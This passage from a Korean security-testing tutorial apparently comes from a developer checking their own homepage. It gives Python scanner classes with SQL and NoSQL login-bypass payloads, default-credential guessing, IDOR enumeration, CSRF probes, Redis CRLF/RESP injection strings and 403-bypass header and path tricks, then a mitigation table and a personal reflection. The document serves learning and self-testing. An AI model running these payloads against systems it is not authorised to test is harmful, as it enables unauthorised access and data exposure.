# --- SQLi 기반 인증 우회 페이로드 ---
sqli_payloads = [
("admin' OR '1'='1", "or_true"),
("admin'--", "comment"),
("' OR 1=1--", "or_1_true"),
("' OR '1'='1'--", "or_quote"),
("admin' UNION SELECT 1,2--", "union_bypass"),
]
# --- NoSQL 기반 인증 우회 ---
nosql_payloads = [
(json.dumps({"$ne": None}), "nosql_ne"),
(json.dumps({"$gt": ""}), "nosql_gt"),
(json.dumps({"$regex": ".*"}), "nosql_regex"),
]
# --- 기본 크리덴셜 ---
default_creds = [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("root", "root"),
("test", "test"),
]
# [1] SQLi 우회 테스트
for username, name in sqli_payloads:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: username,
pw_field: "anything",
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f" [{name}] 로그인 반응 후보 (별도 확인 필요)")
self.results.append({
"type": "auth_sqli_candidate",
"payload": username,
"name": name,
})
else:
print(f" [{name}] {r.status_code}")
except Exception as e:
print(f" [{name}] 오류: {e}")
# [2] NoSQL 우회 테스트
for payload, name in nosql_payloads:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: payload,
pw_field: payload,
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f" [{name}] 로그인 반응 후보 (별도 확인 필요)")
self.results.append({
"type": "auth_nosql_candidate",
"name": name,
})
else:
print(f" [{name}] {r.status_code}")
except Exception as e:
print(f" [{name}] 오류: {e}")
# [3] 기본 크리덴셜 테스트
for username, password in default_creds:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: username,
pw_field: password,
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f" [{username}] 로그인 반응 후보 (별도 확인 필요)")
self.results.append({
"type": "default_creds_candidate",
"username": username,
})
else:
print(f" [{username}] {r.status_code}")
except Exception as e:
print(f" [{username}] 오류: {e}")
return self.results
def _check_login_success(self, response):
"""로그인 성공 여부 판정
판정 기준:
- 302 리다이렉트이고 Location이 dashboard/admin/home이면
로그인 반응 후보로 본다
- 200 응답에 'dashboard', 'welcome', 'logout'이 있어도
실제 로그인 성공은 아니다. 응답 내용 후보만 표시한다
"""
if response.status_code == 302:
location = response.headers.get("Location", "")
if any(x in location for x in [
"dashboard", "admin", "home", "welcome"
]):
return True
elif response.status_code == 200:
success_words = [
"dashboard", "welcome", "logout",
"profile", "settings",
]
if any(x in response.text.lower() for x in success_words):
return True
return False
# ============================================
# 10.2 IDOR 테스트
# ============================================
def test_idor(self, url_template, start_id=1, end_id=20):
"""IDOR (Insecure Direct Object Reference) 테스트
원리:
/user/profile?id=1에서 id=2로 바꾸면
다른 사람 프로필이 보이면 IDOR이다.
IDOR가 뭔가?
"객체 참조(id)를 직접 쓰는데 권한 검사가 없다"는 뜻.
공격자는 id만 바꿔서 다른 사용자의 데이터를 본다.
테스트 방법:
1. 자기 id(베이스라인)의 응답 길이를 측정
2. 다른 id를 넣어서 응답이 달라지는지 확인
3. 다른 id에서 200과 내용 차이가 나면 → 검토 후보
4. 다른 id가 403이면 → 그 요청은 거부됨; 전체 권한 모델은 별도 확인
단, 응답 길이가 같다고 IDOR가 아닌 건 아니다.
내용을 직접 확인해야 한다.
전제: 로그인된 세션이 필요 (auth_cookie 설정 필요)
"""
print(f"\n[IDOR] {url_template} (ID: {start_id}-{end_id})")
# --- 베이스라인: 자기 자신의 ID ---
r_base = self.session.get(
url_template.format(id=start_id), timeout=15
)
base_len = len(r_base.text)
print(f" 베이스라인 (id={start_id}): {r_base.status_code}, "
f"{base_len}b")
for test_id in range(start_id + 1, end_id + 1):
time.sleep(self.delay)
try:
r = self.session.get(
url_template.format(id=test_id), timeout=15
)
len_diff = abs(len(r.text) - base_len)
if r.status_code == 200 and len_diff > max(100, int(base_len * 0.2)):
print(f" [ID={test_id}] 200, {len(r.text)}b "
f"(차이: {len_diff}b) — 다른 사용자 데이터?")
self.results.append({
"type": "idor_candidate",
"id": test_id,
"length": len(r.text),
"len_diff": len_diff,
})
elif r.status_code == 403:
print(f" [ID={test_id}] 403 — 이 요청은 거부됨")
else:
print(f" [ID={test_id}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [ID={test_id}] 오류: {e}")
return self.results
# ============================================
# 10.3 CSRF 테스트
# ============================================
def test_csrf(self, url, method="POST", params=None):
"""CSRF (Cross-Site Request Forgery) 테스트
CSRF가 뭔가?
공격자가 피해자의 브라우저를 이용해서
피해자가 의도하지 않은 요청을 보내는 공격.
예: 은행 웹사이트에 로그인된 상태에서
공격자가 만든 함정 페이지를 열면
자동으로 송금 요청이 전송됨.
방어 방법:
- CSRF 토큰: 폼에 서버만 아는 랜덤 값을 넣고
제출 시 검사
- SameSite 쿠키: 다른 사이트에서 온 요청은 쿠키 안 보냄
테스트:
1. 토큰 없이 요청 → 응답과 실제 상태 변화를 대조
2. 위조된 토큰으로 요청 → 역시 실제 상태 변화 확인
이 코드는 same-origin requests 세션이므로 브라우저의 교차 사이트
쿠키 전송·Origin/Referer 정책까지 검증하지는 못한다.
"""
if params is None:
params = {"action": "test"}
print(f"\n[CSRF] {method} {url}")
# --- 1. 토큰 없이 요청 ---
time.sleep(self.delay)
try:
if method == "POST":
r = self.session.post(
url, data=params,
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params=params,
timeout=15, allow_redirects=False
)
if r.status_code == 200:
print(f" [토큰 없음] 200 — 상태 변화·Origin 정책 확인 필요")
self.results.append({
"type": "csrf_no_token_candidate",
"status": r.status_code,
})
else:
print(f" [토큰 없음] {r.status_code} — "
f"요청 거부/리다이렉트 (원인 확인 필요)")
except Exception as e:
print(f" [토큰 없음] 오류: {e}")
# --- 2. 위조된 토큰으로 요청 ---
time.sleep(self.delay)
fake_params = params.copy()
fake_params["csrf_token"] = "a" * 32
try:
if method == "POST":
r = self.session.post(
url, data=fake_params,
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params=fake_params,
timeout=15, allow_redirects=False
)
if r.status_code == 200:
print(f" [위조 토큰] 200 — 상태 변화·Origin 정책 확인 필요")
self.results.append({
"type": "csrf_fake_token_candidate",
"status": r.status_code,
})
else:
print(f" [위조 토큰] {r.status_code} — 원인 확인 필요")
except Exception as e:
print(f" [위조 토큰] 오류: {e}")
return self.results왜
allow_redirects=False를 쓰는가? 로그인 성공 시 302로 리다이렉트한다. True면 리다이렉트를 따라가서 최종 페이지의 200을 받는다. False면 302 자체를 받아서 "리다이렉트가 있었다"는 사실을 직접 확인할 수 있다.
11. Redis 주입
11.1 Redis가 뭔데?
Redis는 메모리 기반의 Key-Value 저장소다. SQL이 아닌 자체 프로토콜(RESP)을 사용한다.
[클라이언트] SET name "hello"\r\n
[Redis] +OK\r\n
[클라이언트] GET name\r\n
[Redis] $5\r\nhello\r\n11.2 왜 Redis 주입이 가능한가?
Redis 클라이언트의 정상적인 SET 호출은 인자를 길이가 붙은 RESP bulk string으로 전송한다. 값에 \r\n이 들어 있어도 그 길이만큼 한 인자로 읽으므로 새 명령이 되지 않는다. 위험한 경우는 애플리케이션이 사용자 값을 끼워 넣어 Redis 프로토콜 문자열을 직접 조립하거나, 다른 경계에서 원문 명령을 전달할 때다.
[안전한 클라이언트 호출]
redis.set("user:" + input, "value") # input의 CRLF는 키의 데이터
[잘못된 직접 프로토콜 조립의 개념도]
wire = "SET user:" + input + " value\r\n" # 길이 프레이밍 없음
[전제]
input이 프레이밍 전에 원문 wire로 결합될 때만 명령 경계가 흔들릴 수 있음이 예시는 프로토콜 경계가 왜 중요한지 보여주는 반례다. 원래 코드의 redis.set() 자체가 취약하다는 설명은 잘못됐다. Redis RESP 공식 규격
11.3 RESP 프로토콜 형식
*1\r\n$4\r\nPING\r\n
*1 → 명령 1개
$4 → 첫 번째 인자 길이 4
PING → 실제 명령
\r\n → 각 부분 끝에 CRLF11.4 코드: Redis 주입 스캐너
import requests
import time
import socket
class RedisScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
# ============================================
# 11.4.1 CRLF 주입 테스트
# ============================================
def test_crlf_injection(self, url, param="input"):
"""CRLF 주입으로 Redis 명령 삽입 테스트
원리:
1. 파라미터에 \r\n을 포함한 Redis 명령어를 넣음
2. 정상 RESP 클라이언트의 키·값이라면 명령 경계가 바뀌지 않음
3. 서버가 Redis 프로토콜을 직접 조립한다는 별도 증거가 있어야
주입 가능성을 판단할 수 있음
왜 \r\n을 쓰는가?
Redis 프로토콜(RESP)은 \r\n(Carriage Return +
Line Feed)로 명령과 인자를 구분한다.
bulk string에는 길이가 붙으므로 입력의 CRLF는 데이터다.
"""
print(f"\n[Redis CRLF] {url}?{param}=<payload>")
# --- CRLF 주입 페이로드 ---
# \r\n 뒤에 Redis 명령어를 붙인다
crlf_payloads = [
# PING — 가장 무해한 Redis 명령, 응답으로 PONG을 반환
("test\r\nPING\r\n", "crlf_ping"),
# INFO — Redis 서버 정보 출력
("test\r\nINFO\r\n", "crlf_info"),
# URL 인코딩된 CRLF (%0d%0a)
("test%0d%0aPING%0d%0a", "encoded_crlf"),
# LF만 (\n) — 일부 서버는 \r 없이도 분리
("test\nPING\n", "lf_only"),
]
# --- Redis 응답 지표 ---
redis_indicators = [
"PONG", # PING 응답
"redis_version", # INFO 응답
"NOAUTH", # 인증 필요 (Redis는 접근됨)
"CONFIG", # CONFIG 응답
"tcp_port", # INFO 항목
]
for payload, name in crlf_payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in redis_indicators:
if indicator in r.text:
print(f" [{name}] Redis 문자열 관측 후보 -> {indicator}")
self.results.append({
"type": "redis_response_candidate",
"name": name,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results
# ============================================
# 11.4.2 RESP 프로토콜 주입
# ============================================
def test_resp_injection(self, url, param="input"):
"""RESP 프로토콜 주입 테스트
원리:
Redis는 RESP(Redis Serialization Protocol)를 사용한다.
RESP 형식 문자열을 HTTP 입력에 넣는 것만으로는 주입되지 않는다.
서버가 값을 인자로 직렬화하지 않고 원문 바이트를 Redis에
전달한다는 증거가 있는 경우에만 프로토콜 경계 테스트가 된다.
RESP 형식:
*<인자수>\r\n$<길이>\r\n<값>\r\n...
예: *1\r\n$4\r\nPING\r\n
→ PING 명령 1개, 첫 인자 길이 4
"""
print(f"\n[Redis RESP] {url}?{param}=<payload>")
# --- RESP 페이로드 ---
# 완전한 RESP 형식을 만들어서 주입한다
resp_payloads = [
# PING — 가장 무해한 명령
("*1\r\n$4\r\nPING\r\n", "resp_ping"),
# INFO — 서버 정보
("*1\r\n$4\r\nINFO\r\n", "resp_info"),
# DBSIZE — 키 개수
("*1\r\n$6\r\nDBSIZE\r\n", "resp_dbsize"),
]
for payload, name in resp_payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=30
)
# --- Redis 응답 확인 ---
redis_indicators = [
"+PONG", "redis_version", ":0", ":1",
"NOAUTH", "tcp_port",
]
found = False
for indicator in redis_indicators:
if indicator in r.text:
print(f" [{name}] Redis 문자열 관측 후보 -> {indicator}")
self.results.append({
"type": "resp_response_candidate",
"name": name,
"indicator": indicator,
})
found = True
break
if not found:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results
# ============================================
# 11.4.3 무인증 Redis 접근 테스트
# ============================================
def test_unauth_redis(self, host="127.0.0.1", port=6379,
timeout=5):
"""Redis 무인증 접근 테스트 (직접 TCP 연결)
원리:
Redis의 실제 접근 가능 여부는 bind, protected mode, ACL,
네트워크 방화벽 구성에 달려 있다. 포트가 열렸다는 사실만으로
무인증 사용을 결론 낼 수 없다.
이 테스트는 HTTP가 아니라 직접 TCP 소켓으로
Redis 프로토콜을 보낸다.
전제: 테스트 대상 IP/포트가 허가 범위 내에 있어야 함
"""
print(f"\n[Redis Unauth] {host}:{port}")
try:
sock = socket.socket(
socket.AF_INET, socket.SOCK_STREAM
)
sock.settimeout(timeout)
sock.connect((host, port))
# --- PING 보내기 ---
sock.send(b"PING\r\n")
response = sock.recv(1024)
print(f" PING 응답: {response}")
if response.startswith(b"+PONG\r\n"):
print(" -> 인증 정보 없이 PING 응답 관측; 다른 명령 권한은 미확인")
self.results.append({
"type": "redis_ping_without_auth_candidate",
"host": host,
"port": port,
})
sock.close()
except socket.timeout:
print(f" -> 연결 또는 응답 시간 초과 (원인 미확정)")
except ConnectionRefusedError:
print(f" -> 연결 거부 (포트 닫힘)")
except Exception as e:
print(f" -> 오류: {e}")
return self.results전송 인코딩 주의: 위
crlf_payloads를requests의params로 보내면\r\n은%0D%0A로,%0d%0a는%250d%250a로 인코딩되어 전송된다. 날 CRLF 바이트로 시험하려면 9.3절 경로 순회 노트처럼 준비된 최종 URL의 바이트를 직접 확인해야 한다.판정 기준: 이 HTTP 예제는 응답 문자열을 수집하는 탐색용으로, Redis 주입 확정기가 아니라는 것에 주의해야한다. 정상 RESP 클라이언트의 인자 처리, 원문 프로토콜 결합, 네트워크 노출, 인증·ACL은 서로 다른 경계다.
KEYS *처럼 운영 부하가 큰 명령은 예제에서 제외했다. Redis 보안 문서, KEYS 문서
12. 403 Forbidden 우회
12.1 왜 403이 뜨는가?
403은 서버가 요청을 이해했지만 처리를 거부했다는 상태 코드다. 대상 파일의 존재나 차단 계층까지 보장하지는 않는다. 웹 서버 설정, 애플리케이션 권한, WAF 정책 등이 원인일 수 있다.
하지만 차단 규칙이 완벽하지 않을 수 있다. 같은 파일에 다른 방식으로 접근하면 차단을 우회할 수 있다.
12.2 우회 기법
기법 | 원리 | 예 |
|---|---|---|
URL 인코딩 |
|
|
더블 인코딩 | 두 번 인코딩해서 서버의 디코딩 단계 우회 |
|
경로 순회 |
|
|
헤더 위조 |
|
|
메서드 변경 | GET만 차단하고 다른 메서드는 허용 |
|
트레일링 | 끝에 점/슬래시 추가 |
|
- 기법
URL 인코딩
- 원리
.→%2e로 인코딩해서 패턴 매칭 우회- 예
/admin→/%61dmin
- 기법
더블 인코딩
- 원리
두 번 인코딩해서 서버의 디코딩 단계 우회
- 예
%2e→%252e
- 기법
경로 순회
- 원리
../로 같은 파일에 다른 경로로 접근- 예
/../admin/
- 기법
헤더 위조
- 원리
X-Forwarded-For등으로 내부 IP 위장- 예
X-Forwarded-For: 127.0.0.1
- 기법
메서드 변경
- 원리
GET만 차단하고 다른 메서드는 허용
- 예
POST /admin
- 기법
트레일링
- 원리
끝에 점/슬래시 추가
- 예
/admin./admin/
12.3 코드: 403 우회 스캐너
import requests
import time
class BypassScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def test_403_bypass(self, target_url):
"""403 Forbidden 우회 테스트
원리:
403이 뜨는 경로에 대해 변형을 시도한다.
200·301·404 등 상태 코드 변화는 검토 후보일 뿐,
보호된 원본 리소스의 동일 내용이나 권한이 확인되어야 우회다.
각 기법이 통하는 이유:
- URL 인코딩: 웹 서버가 디코딩 후 매칭하는데
필터는 인코딩 전에 매칭하면 통과
- X-Forwarded-For: 백엔드가 이 헤더를 신뢰해서
로컬 요청으로 간주하면 차단 해제
- 메서드 변경: GET만 차단하고 다른 메서드는
허용하는 경우
- 더블 확장자: /admin.php.bak은
.php가 아니라 .bak으로 처리
"""
print(f"\n[403 Bypass] {target_url}")
# --- 1. 베이스라인: 원본 요청 ---
r_base = self.session.get(target_url, timeout=10)
print(f" 원본: {r_base.status_code}")
if r_base.status_code != 403:
print(" 403이 아님 — 우회 불필요")
return self.results
# --- 2. URL 변형 ---
# /admin.php → /Admin.php, /admin.php.,
# /admin.php%00, /%61dmin.php 등
url_variants = [
(f"{target_url}.", "trailing_dot"),
(f"{target_url}/", "trailing_slash"),
(f"{target_url}.txt", "ext_txt"),
(f"{target_url}.bak", "ext_bak"),
(f"{target_url}.old", "ext_old"),
(f"{target_url}%00", "null_byte"),
(f"{target_url}%00.txt", "null_txt"),
]
for test_url, name in url_variants:
time.sleep(self.delay)
try:
r = self.session.get(test_url, timeout=10, allow_redirects=False)
if r.status_code != 403:
print(f" [{name}] {r.status_code} — 응답 변화 후보")
self.results.append({
"type": "403_response_candidate",
"technique": name,
"status": r.status_code,
"length": len(r.text),
})
else:
print(f" [{name}] 403")
except Exception:
print(f" [{name}] 오류")
# --- 3. 헤더 기반 우회 ---
# 백엔드가 이 헤더들을 신뢰하면 내부 요청으로 처리
# X-Original-URL / X-Rewrite-URL은 전체 URL이 아니라 경로를 기대한다.
from urllib.parse import urlsplit
target_path = urlsplit(target_url).path or "/"
header_variants = [
({"X-Forwarded-For": "127.0.0.1"}, "xff_local"),
({"X-Real-IP": "127.0.0.1"}, "xrip_local"),
({"X-Original-URL": target_path}, "xoriginal"),
({"X-Rewrite-URL": target_path}, "xrewrite"),
({"X-Forwarded-Host": "localhost"}, "xfh_local"),
({"Referer": "https://example.com"}, "referer"),
]
for headers, name in header_variants:
time.sleep(self.delay)
try:
r = self.session.get(
target_url, headers=headers, timeout=10,
allow_redirects=False
)
if r.status_code != 403:
print(f" [{name}] {r.status_code} — 응답 변화 후보")
self.results.append({
"type": "403_header_candidate",
"technique": name,
"status": r.status_code,
})
else:
print(f" [{name}] 403")
except Exception:
print(f" [{name}] 오류")
# --- 4. HTTP 메서드 우회 ---
# 변경·삭제를 일으킬 수 있는 메서드는 자동 실행하지 않는다.
methods = ["HEAD", "OPTIONS"]
for method in methods:
time.sleep(self.delay)
try:
r = self.session.request(
method, target_url, timeout=10,
allow_redirects=False
)
if r.status_code not in [403, 405]:
print(f" [{method}] {r.status_code} — 응답 변화 후보")
self.results.append({
"type": "403_method_candidate",
"method": method,
"status": r.status_code,
})
else:
print(f" [{method}] {r.status_code}")
except Exception:
print(f" [{method}] 오류")
return self.results확인 방법: 변형 요청을 보낸 뒤 응답의 실제 내용·인증 주체·리다이렉트 목적지를 원래 보호 리소스 및 공개 오류 페이지와 비교한다. 403이 404나 200으로 바뀌어도 다른 리소스·로그인 화면·공통 오류 페이지일 수 있다. OWASP 권한 우회 테스트
핵심 요약 — 각 공격의 "왜"
공격 | 왜 통하는가 | 어떻게 막나 |
|---|---|---|
SQLi | 입력이 SQL 문법으로 합쳐짐 | 매개변수 바인딩(? 사용) |
XSS | 불신 입력이 실행 가능한 브라우저 문맥에 들어감 | 문맥별 인코딩·안전한 DOM API·필요한 경우 CSP |
RCE | 입력이 코드·명령 실행 경계에 들어감 | 셸 호출 회피와 구조화된 인자 전달, 최소 권한 |
SSRF | 서버가 검증되지 않은 목적지로 요청 | 목적지 허용 목록과 연결 시점의 IP 검증·리다이렉트 통제 |
경로 순회 |
| 경로 정규화 + 화이트리스트 |
인증 우회 | SQLi로 쿼리 조건 무시 | 바인딩 + 비밀번호 해시 |
IDOR | 객체 ID에 권한 검사 없음 | 소유자 확인 추가 |
CSRF | 토큰 없이 상태 변경 | CSRF 토큰 + SameSite 쿠키 |
Redis 주입 | 원문 프로토콜 직접 조립 시 명령 경계가 흔들림 | 정식 RESP 클라이언트·인자 분리·ACL·네트워크 제한 |
403 우회 | 권한 검사가 변형 경로·메서드에 일관되게 적용되지 않음 | 서버 측 객체별 권한 검증과 경로·메서드 정책 일치 |
- 공격
SQLi
- 왜 통하는가
입력이 SQL 문법으로 합쳐짐
- 어떻게 막나
매개변수 바인딩(? 사용)
- 공격
XSS
- 왜 통하는가
불신 입력이 실행 가능한 브라우저 문맥에 들어감
- 어떻게 막나
문맥별 인코딩·안전한 DOM API·필요한 경우 CSP
- 공격
RCE
- 왜 통하는가
입력이 코드·명령 실행 경계에 들어감
- 어떻게 막나
셸 호출 회피와 구조화된 인자 전달, 최소 권한
- 공격
SSRF
- 왜 통하는가
서버가 검증되지 않은 목적지로 요청
- 어떻게 막나
목적지 허용 목록과 연결 시점의 IP 검증·리다이렉트 통제
- 공격
경로 순회
- 왜 통하는가
../로 상위 디렉터리 접근- 어떻게 막나
경로 정규화 + 화이트리스트
- 공격
인증 우회
- 왜 통하는가
SQLi로 쿼리 조건 무시
- 어떻게 막나
바인딩 + 비밀번호 해시
- 공격
IDOR
- 왜 통하는가
객체 ID에 권한 검사 없음
- 어떻게 막나
소유자 확인 추가
- 공격
CSRF
- 왜 통하는가
토큰 없이 상태 변경
- 어떻게 막나
CSRF 토큰 + SameSite 쿠키
- 공격
Redis 주입
- 왜 통하는가
원문 프로토콜 직접 조립 시 명령 경계가 흔들림
- 어떻게 막나
정식 RESP 클라이언트·인자 분리·ACL·네트워크 제한
- 공격
403 우회
- 왜 통하는가
권한 검사가 변형 경로·메서드에 일관되게 적용되지 않음
- 어떻게 막나
서버 측 객체별 권한 검증과 경로·메서드 정책 일치

The evasion of responsibility is the major cause of most peoples frustrations and defeats.
책임 회피는 대부분의 사람들이 좌절과 실패를 겪는 주된 원인이다.
-Ayn Rand
오늘 내 홈페이지 보안 테스트를 돌려보고, 그 이후에 내가 아는 방법론을 일반론으로 정리했다. 이 글을 읽을 사람이 얼마나 될지는 모르겠다. 솔직히 내 홈페이지에 오는 사람들 대부분은 이 정도 글은 수준이 낮다며 안 읽을 것이다. 그래도 쓴 이유는, 나중에 나 자신이 다시 읽을 거라서다.
나도 보안을 모른다. 그냥 내 책임을 회피할 수 있는 수준만 안다. 내가 생각하는 건 프로그래밍에서 가장 중요한 것은 내 책임이 어디까지냐이다. 그걸 최소한으로 줄이는게 중요하다는 생각을 한다.
일단 오늘 내가 점검한 범위에서는 큰 문제를 못 찾았다. 아마 무시무시한 해커가 오면 내 홈페이지는 속절없이 뚫리겠지. 그들에게 자비를 구걸하는 밤이다.
프로그래머로써 느끼는 건, 적을 만들지 않는 태도가 중요하다는 것을 느낀다. 첫번째로 겸손, 두번째로 겸손이다. 언제 내가 속절없이 털릴지 모르니까.